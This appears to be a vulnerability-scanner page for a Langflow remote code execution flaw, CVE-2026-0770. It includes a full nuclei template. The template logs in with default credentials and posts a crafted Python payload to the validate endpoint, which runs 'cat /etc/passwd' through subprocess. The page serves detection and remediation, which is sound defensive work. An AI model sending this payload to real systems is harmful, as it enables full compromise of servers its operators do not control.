Langflow < 1.3.0 - Remote Code Execution via validate_code() exec()

Exploited in the wild. Listed by CISA on 2026-07-21; known to be used by ransomware.

criticalseverity

9.8CVSS score

62.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication.

Impact

Remote attackers can execute arbitrary code as root, leading to full system compromise.

Fix

Update to the latest version of Langflow.

How to confirm it

Send: POST /api/v1/login
Positive when: contains "access_token" and "token_type" AND contains in content_type "application/json" AND status 200
Send: POST /api/v1/validate/code
Positive when: matches /root:.*:0:0:/ AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-0770 -u <target>

The full check

id: CVE-2026-0770

info:
  name: Langflow < 1.3.0 - Remote Code Execution via validate_code() exec()
  author: affix
  severity: critical
  description: |
    Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication.
  impact: |
    Remote attackers can execute arbitrary code as root, leading to full system compromise.
  remediation: |
    Update to the latest version of Langflow.
  reference:
    - https://github.com/affix/CVE-2026-0770-PoC
    - https://github.com/langflow-ai/langflow
    - https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-0770
    epss-score: 0.62562
    epss-percentile: 0.99197
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    fofa-query: title="Langflow"
    shodan-query: title:"Langflow"
  tags: cve,cve2026,langflow,rce,authenticated,vuln,vkev,kev

variables:
  username: "langflow"
  password: "langflow"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "access_token"
          - "token_type"
        condition: and
        internal: true

      - type: word
        part: content_type
        words:
          - "application/json"
        internal: true

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: token
        part: body
        group: 1
        internal: true
        regex:
          - '"access_token"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"code":"\ndef exploit(\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\"OUTPUT:\\n{r.stdout}{r.stderr}\")) )(\n        __import__('subprocess').run('cat /etc/passwd', shell=True, capture_output=True, text=True)\n    )\n):\n    pass\n"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from